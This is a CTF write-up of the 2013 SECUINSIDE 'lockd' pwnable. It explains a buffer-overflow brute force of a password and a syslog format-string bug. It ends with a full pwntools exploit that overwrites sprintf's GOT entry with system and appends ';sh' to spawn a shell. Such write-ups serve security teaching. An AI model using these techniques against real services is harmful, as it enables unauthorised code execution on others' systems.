SECUINSIDE CTF 2013 - lockd

19th Jul 2024
3 min read
Tags:
ctf,
pwnable,
bof,
byte by byte attack,
fsb,
syslog,
got overwrite

0x00. Introduction

[*] '/home/user/lockd'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

0x01. Vulnerability

Buffer Overflow

int main()
{
  ...
  printf("Input floor > ");
  __isoc99_scanf("%d", &floor_804A4C0);
  printf("Room number > ");
  __isoc99_scanf("%d", &room_804A0A0);
  if ( floor_804A4C0 <= 4 && room_804A0A0 <= 10 && !read_password_8048A7D() )
  {
    ...
  }
  return -1;
}

To use the core lock() and unlock() functionalities in main(), you must input floor_804A4C0 and room_804A0A0 values within the valid range, and the result of read_password_8048A7D() must be True.

int read_password_8048A7D()
{
  FILE *fd; // [esp+10h] [ebp-38h]
  char buf[20]; // [esp+14h] [ebp-34h] BYREF
  char password[20]; // [esp+28h] [ebp-20h] BYREF
  int canary; // [esp+3c] [ebp-c]

  *&password[20] = __readgsdword(0x14u);
  fd = fopen("password", "rb");
  fread(password, 1u, 0x10u, fd);
  fclose(fd);
  *password_804A0A4 = *password;
  *&password_804A0A4[4] = *&password[4];
  *&password_804A0A4[8] = *&password[8];
  *&password_804A0A4[12] = *&password[12];
  printf("Input master key > ");
  read(0, buf, 40u);
  return memcmp(password, buf, 16u);
}

At this point, it reads 40 bytes to a 20 bytes buffer buf, allowing us to overwrite local variable password.

FSB in `syslog`

int lock_8048877()
{
  printf("Input master key > ");
  read(0, fmt_0804A0C0, 20u);
  if ( memcmp(password_804A0A4, fmt_0804A0C0, 16u) )
    return -1;
  sprintf(fmt_0804A0C0, "./lock LOCK %d %d", floor_804A4C0, room_804A0A0);
  system(fmt_0804A0C0);
  printf("Your name > ");
  read(0, name_804A2C0, 0x190u);
  sprintf(fmt_0804A0C0, "LOCK %d-%d by %s", floor_804A4C0, room_804A0A0, name_804A2C0);
  syslog(13, fmt_0804A0C0);
  return 0;
}

Once the password leak is successful, we can use the lock() and unlock() functionalities.

Taking a closer look at syslog(),

void syslog(int priority, const char *format, ...);

The second argument format is a format string, and related information can be found in the Linux manual page.

Never pass a string with user-supplied data as a format, use the following instead: syslog(priority, "%s", string);

However, since lock() uses the format syslog(13, fmt_0804A0C0);, so FSB occurs if we insert a format string into fmt_0804A0C0.

Fortunately, we can pass a format string to fmt_0804A0C0 through name_804A2C0, so we can exploit the vulnerability.

0x02. Exploit

Info Leak

int read_password_8048A7D()
{
  FILE *fd; // [esp+10h] [ebp-38h]
  char buf[20]; // [esp+14h] [ebp-34h] BYREF
  char password[20]; // [esp+28h] [ebp-20h] BYREF
  int canary; // [esp+3c] [ebp-c]

  *&password[20] = __readgsdword(0x14u);
  fd = fopen("password", "rb");
  fread(password, 1u, 0x10u, fd);
  fclose(fd);
  *password_804A0A4 = *password;
  *&password_804A0A4[4] = *&password[4];
  *&password_804A0A4[8] = *&password[8];
  *&password_804A0A4[12] = *&password[12];
  printf("Input master key > ");
  read(0, buf, 40u);
  return memcmp(password, buf, 16u);
}

Looking at read_password_8048A7D() again, although we can manipulate the value of the local variable password by reading 40 bytes in read(), it’s meaningless because lock() and unlock() compare with the value of the global variable password_804A0A4.

However, another attack is possible: if we leave the last byte of password and overwrite the front part with the same value as buf, we can brute force byte by byte.

So I wrote the payload as follows.

def guess_key(s):
    key = []
    for i in range(16):
        for j in range(256):
            s = remote("0.0.0.0", 8107)
            floor_and_room(s, 1, 2)
            payload = b"A" * (16 - len(key) - 1)
            payload += chr(j).encode()
            payload += ''.join(key).encode()
            payload += b"B" * 4
            payload += b"A" * (16 - len(key) - 1)
            s.send(payload)
            try:
                if s.recv():
                    key.insert(0, chr(j))
                    log.success(f"HIT : {key}")
                    s.close()
                    break
            except:
                s.close()
                continue
    return key

FSB

Normally, to utilize FSB, I would construct the payload like %p %p %p %p ... to check which format string index corresponds to the part pointed to by $esp. But since syslog() only logs to /var/log/syslog, I couldn’t check the results. Eventually, I manually fuzzed when and where values were written by increasing the ? value in %?$n.

As a result, I confirmed that the n-th memory from $esp can be accessed with %(n + 2)$n.

Also, not only our input format string is output, but the format string goes into the %s part of the "LOCK %d-%d by %s" string, so 0xc bytes of additional values are written. Therefore, I wrote the payload as follows:

    # %n$ -> pointing (n + 2)th dword from esp
    value = elf.got['sprintf']
    index = 26
    lock(s, key, f"%{value - 0xc}c%{index - 2}$n".encode())

Now, looking at the stack when calling syslog() for exploitation:

gef➤  x/20wx $esp
0xffffdcc0:     0x0000000d      0x0804a0c0      0x00000001      0x00000002
0xffffdcd0:     0x0804a2c0      0x08048cb1      0xf7e760d9      0xf7fcd000
0xffffdce0:     0x00000000      0x00000000      0xffffdd18      0x0804883a
0xffffdcf0:     0x08048c9f      0xffffdd08      0x00000002      0x00000000
0xffffdd00:     0xf7fcd3c4      0xf7ffd000      0x00000001      0xf7fcd000
gef➤  x/20wx $esp + 0x50
0xffffdd10:     0x08048b90      0x00000000      0x00000000      0xf7e39af3
0xffffdd20:     0x00000001      0xffffddb4      0xffffddbc      0xf7feae6a
0xffffdd30:     0x00000001      0xffffddb4      0xffffdd54      0x0804a02c
0xffffdd40:     0x08048328      0xf7fcd000      0x00000000      0x00000000
0xffffdd50:     0x00000000      0x3cf1e46c      0x047ec07c      0x00000000
gef➤  x/20wx $esp + 0xa0
0xffffdd60:     0x00000000      0x00000000      0x00000001      0x08048670
0xffffdd70:     0x00000000      0xf7ff0660      0xf7e39a09      0xf7ffd000
0xffffdd80:     0x00000001      0x08048670      0x00000000      0x08048691
0xffffdd90:     0x08048724      0x00000001      0xffffddb4      0x08048b90
0xffffdda0:     0x08048c00      0xf7feb300      0xffffddac      0x0000001c
gef➤  x/20wx $esp + 0xf0
0xffffddb0:     0x00000001      0xffffdec4      0x00000000      0xffffded6
0xffffddc0:     0xffffdeec      0xffffdefd      0xffffdf0e      0xffffdf50
0xffffddd0:     0xffffdf56      0xffffdf66      0xffffdf73      0xffffdf89
0xffffdde0:     0xffffdfa3      0xffffdfb7      0xffffdfd1      0x00000000
0xffffddf0:     0x00000020      0xf7fda540      0x00000021      0xf7fda000
gef➤  x/20wx $esp + 0x140
0xffffde00:     0x00000033      0x000006f0      0x00000010      0x178bfbff
0xffffde10:     0x00000006      0x00001000      0x00000011      0x00000064
0xffffde20:     0x00000003      0x08048034      0x00000004      0x00000020
0xffffde30:     0x00000005      0x00000009      0x00000007      0xf7fdc000
0xffffde40:     0x00000008      0x00000000      0x00000009      0x08048670

Since all input is received in global variables, we need to exploit by making good use of the values on the stack. Initially, I didn’t realize that 4 bytes would be written at once, so:

gef➤  x/wx $esp + 0x64
0xffffdd24:     0xffffddb4
gef➤  x/wx 0xffffddb4
0xffffddb4:     0xffffdec4

Write 0x00 to 0xffffddb4

0xffffddb4: 0xffffde00

Write 2 bytes to 0xffffde00 (lower 2 bytes)

0xffffde00: 0x0000a03c

Write 0x02 to 0xffffddb4

0xffffddb4: 0xffffde02

Write 2 bytes to 0xffffde00 (upper 2 bytes)

0xffffde00: 0x0804a03c

Write 2 bytes to 0x0804a03c(sprintf got)

I tried to proceed with the exploit this way, but the situation changed when I turned on ASLR.

gef➤  x/wx $esp+0x64
0xff8ca684:     0xff8ca714
gef➤  x/wx 0xff8ca714
0xff8ca714:     0xff8caec4

When ASLR is off, 0xffffddb4 points to 0xffffdec4, allowing control of the 0xffffde?? area.

When ASLR is on, 0xff8ca714 points to 0xff8caec4, allowing control of the 0xff8cae?? area.

This creates a problem where the ? value when accessing with %?$n is not consistent, even though we’ve carefully constructed the sprintf() got address on the stack. After struggling with probability issues for a while, I discovered that 0x0804a03c is written all at once, which makes the exploit much simpler.

Write 0x0804a03c(sprintf got) to 0xffffddb4

0xffffddb4: 0x0804a03c

Write 0x080485e0(system plt) to 0x0804a03c

0x0804a03c: 0x080485e0

By the way, the idea of overwriting sprintf() with system() came from the fact that sprintf() was the only function where I could control the value in the first argument.

  read(0, fmt_0804A0C0, 20u);
  if ( memcmp(password_804A0A4, fmt_0804A0C0, 16u) )
    return -1;
  sprintf(fmt_0804A0C0, "./lock UNLOCK %d %d", floor_804A4C0, room_804A0A0);

The password must be in the first argument fmt_0804A0C0, but fortunately, while memcmp() only compares 16 bytes, the input receives 20 bytes, creating 4 bytes of free space. Therefore, if we add ;sh after the key, when the GOT overwrite succeeds, the function executes as follows:

  // sprintf(fmt_0804A0C0, "./lock UNLOCK %d %d", floor_804A4C0, room_804A0A0);
  system("c39f30e348c07297;sh");

The c39f30e348c07297 part is ignored as it’s not a legit command, and the next command sh is executed, spawning a shell.

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
import sys, os

DEBUG = True
BINARY = "lockd"
bp = {
    'read_password' : 0x08048A7D,
    'unlock' : 0x804897A,
    'lock' : 0x8048877,
    'syslog_of_lock' : 0x804896e,
}

gs = f'''
b *{bp["syslog_of_lock"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def floor_and_room(s, floor, room):
    s.recv()
    s.sendline(str(floor).encode())
    s.recv()
    s.sendline(str(room).encode())
    s.recv()

def lock(s, key, name):
    s.sendline(b"1")
    s.recv()
    s.sendline(key)
    s.recv()
    s.sendline(name)
    return s.recv()

def guess_key(s):
    key = []
    for i in range(16):
        for j in range(256):
            s = remote("0.0.0.0", 8107)
            floor_and_room(s, 1, 2)
            payload = b"A" * (16 - len(key) - 1)
            payload += chr(j).encode()
            payload += ''.join(key).encode()
            payload += b"B" * 4
            payload += b"A" * (16 - len(key) - 1)
            s.send(payload)
            try:
                if s.recv():
                    key.insert(0, chr(j))
                    log.success(f"HIT : {key}")
                    s.close()
                    break
            except:
                s.close()
                continue
    return key

def main():
    if(len(sys.argv) > 1):
        s = remote("0.0.0.0", int(sys.argv[1]))
        pid = os.popen(f"sudo docker top {BINARY} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
        if DEBUG:
            gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
    else:
        s = process(BINARY)
        if DEBUG:
            gdb.attach(s, gs)
    elf = ELF(BINARY)

    floor_and_room(s, 1, 2)
    
    # [+] key : c39f30e348c07297
    # key = ''.join(guess_key(s))
    # log.success(f"key : {key}")
    key = b"c39f30e348c07297"
    s.send(key)
    s.recv()

    log.info(f"key : {key}")
    log.info(f"sprintf got : {hex(elf.got['sprintf'])}")
    log.info(f"system plt : {hex(elf.plt['system'])}")

    # %n$ -> pointing (n + 2)th dword from esp
    value = elf.got['sprintf']
    index = 26
    lock(s, key, f"%{value - 0xc}c%{index - 2}$n".encode())
    
    value = elf.plt['system']
    index = 62
    lock(s, key, f"%{value - 0xc}c%{index - 2}$n".encode())
    
    s.sendline(b"1")
    s.recv()
    s.sendline(key + b";sh")
    s.interactive()

if __name__=='__main__':
    main()